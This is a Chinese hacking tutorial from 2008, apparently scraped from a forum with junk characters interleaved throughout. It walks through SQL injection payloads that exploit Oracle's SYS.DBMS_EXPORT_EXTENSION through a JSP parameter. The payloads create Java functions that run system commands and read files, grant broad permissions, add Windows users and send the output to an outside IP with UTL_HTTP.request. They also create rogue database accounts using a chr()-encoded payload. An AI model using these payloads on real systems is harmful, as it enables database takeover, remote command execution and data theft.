以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
( q m/ u, _5 z
4 x: ]1 j$ v) \0 [- r: D /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) , i5 E* ?: J* z$ b/ |
的形式即可。(用" 'a'|| "是为了让语句返回true值)
, s7 o9 r7 F, m7 |, k语句有点长,可能要用post提交。 4 K* G+ [: o7 o6 s7 v; B4 O
以下是各个步骤: ) X- F" r5 U0 I5 A1 v0 [4 `
1.创建包 0 \& T) p# O* h
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:4 J0 q: \9 u+ }
/xxx.jsp?id=1 and '1'<>'a'||(
( C, G/ ^; f( ]. O, c3 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 _. ?0 D! g. f3 Zcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
) s9 h/ A8 c Cnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}# f# U. V3 y$ B# W! c! F
}'''';END;'';END;--','SYS',0,'1',0) from dual 6 H) d3 Y: V8 u! b# [
) 5 \) S% N* V/ r! Y. m
------------------------
, C0 f. `9 ` O) K: k如果url有长度限制,可以把readFile()函数块去掉,即: 8 }' |; T% z( N1 w8 X$ x) a: E0 C
/xxx.jsp?id=1 and '1'<>'a'||( 7 Z7 Y4 l: g0 w! ]2 s* @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; J6 L% J8 A8 s6 U4 k wcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(1 g% |* T9 G* m8 z9 @" Y; ^4 R
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' F5 M! q1 {$ _3 j7 J}'''';END;'';END;--','SYS',0,'1',0) from dual
# h& E. l& L# H& @) 6 C. t& n) j+ c% i0 X- U' z
同时把后面步骤 提到的 对readFile()的处理语句去掉。 ; ^" g; k/ e3 P; J" Y8 k
------------------------------
% b _& H# Z( L5 Q0 R1 U$ D2.赋Java权限 * H x: _& r* k; K/ F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
, `7 j; `' c5 a8 p/ X& M3.创建函数
! a) `& i$ a) C" xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- _5 i8 V/ i5 `# C8 m* d; E
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
?! S6 h# y$ [ Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 W: U- a' M5 W1 e* t
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
& A) `& B \8 Y2 a# C4.赋public执行函数的权限 2 ]! U& P* Z- Q9 i+ j- h7 G* f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
& M( _4 f C4 |) ]% n) h; Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual ? G. n6 O+ a. m: F" q9 E
5.测试上面的几步是否成功
% q. C# `6 \( j5 h! land '1'<>'11'||(
+ E; b" Z" ?. K$ }1 H4 uselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 2 ?: C: v+ k4 `
)
% ]# D6 ^/ y( }* J3 ]! Kand '1'<>(
1 g# l! p5 n2 ]. D: m( Y* e' @select OBJECT_ID from all_objects where object_name ='LINXREADFILE' , M: ^& f) k: u. H4 H3 E
) 5 g- o4 l5 B, `6 c% |
6.执行命令: 9 x7 {5 N4 \5 |0 z
/xxx.jsp?id=1 and '1'<>( # E2 j5 @+ y7 K0 w5 I
select sys.LinxRunCMD('cmd /c net user linx /add') from dual % H$ f* o% {7 A1 p) g
5 n) _* D. M. F# D, g" j
)
+ V2 h' w; ~6 j$ [. ]7 B8 G" z/xxx.jsp?id=1 and '1'<>(
: A4 [. L+ Z+ `+ d- o8 yselect sys.LinxReadFile('c:/boot.ini') from dual0 l9 z% v4 v% C( s2 _
" I6 I( ~+ }- H: i/ w/ ~9 G
)" Q; I) ~( v1 B+ {
( S0 Z: w7 N, w: |0 X+ U% w! |, d注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 8 S0 J# j- J: f1 m b
如果要查看运行结果可以用 union : 0 V0 B6 P8 z ]/ S
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
- u/ @9 I+ q. r7 \或者UTL_HTTP.request(: ' U- n$ m7 e8 x/ ]' m+ S' f. l0 ~
/xxx.jsp?id=1 and '1'<>( ) ~0 v6 N5 A+ {( l
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
7 _/ p7 s7 {5 r, v( v8 x1 f)
0 i. T1 f' P& @ U; M/xxx.jsp?id=1 and '1'<>( 6 d( g* Q ^3 c, {8 ?# {! Z
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
+ d6 Z! D6 D, J9 W% R* d0 K) 7 `4 D$ X1 b( j6 \
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
0 W3 r" Y/ t5 I8 K+ X' d--------------------
- ]& X; ?5 L5 h# q) \0 u: N6.内部变化 ' \" Z4 t5 H$ ^# X
通过以下命令可以查看all_objects表达改变: & q7 A& z$ I4 |7 x- d0 | `8 ?9 H: `+ z. B
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
" i( I* p8 @5 d1 l. j7.删除我们创建的函数
! E: f, ^4 q! e) | Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 W# G. b/ N) i* \ W: R! ^drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
7 g- u& m; u8 q6 x" ~2 i====================================================
; U5 _2 z: e _全文结束。谨以此文赠与我的朋友。 3 x% Q9 V3 H; C; S9 i( i9 w
linx
4 e1 |+ r* x& |, z124829445
1 Y. x4 L5 A3 ~8 o2 x( M2008.1.12 # A' }6 {' d/ p& S
linyujian@bjfu.edu.cn
5 b: j9 b% B) T5 C/ j' {4 B8 U======================================================================
/ u# D. v0 K1 B C1 S9 c测试漏洞的另一方法:
% m5 N1 q( _: k- Z/ j( j创建oracle帐号:
3 G: m, T: f/ n$ s% I& Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 a( [' W1 n$ M9 ?( s' i
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
& \) c( o' {7 o0 k即: 7 u+ H+ l( n3 `2 b; u }2 h( d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 R3 C6 ~ `% e2 b$ X2 Mchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 9 B3 `, L' d1 E: Y' B- b. u) u5 d' ^: i( b
确定漏洞存在:
) q$ I B+ ]7 t: ~; ?1<>( 7 J( @ B8 q3 ]8 b7 x
select user_id from all_users where username='LINXSQL'
7 i' l1 G" U9 ]0 O! r5 m)
: J* r3 w6 O9 c- ?1 s给linxsql连接权限: " |9 i( R n4 r* \0 J% x6 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') x% @9 M7 Q3 Z3 h4 t) g% l0 w
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual & \6 N1 p1 Z) e, j) j8 y9 w! z3 M% e
删除帐号: / R; ~6 s; J, z' q7 Y8 j" e+ Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
9 `: _! Q& c4 jdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 4 k7 n; B- s* b' J/ v' Q7 Z) X- W9 i
======================
+ \+ A! u3 ~3 Y {4 H以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:7 {' a& |, }! z9 |
1.jsp?id=1 and '1'<>( : p* m) b& F& M8 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' H' r2 j; x: _, }) i2 k* v6 k8 E" g
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual6 I9 V. d6 ?/ e0 z n& @% d: H8 c
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
3 W: }: t7 j, n6 ?, Q )
5 |# O( o! U, k1 @8 K. B4 r5 v* l- O0 M' m3 p; h( |
$ E9 P0 G* z _2 g( ^4 Q
5 \1 G8 a+ Z& {: h' V, Q: s0 I |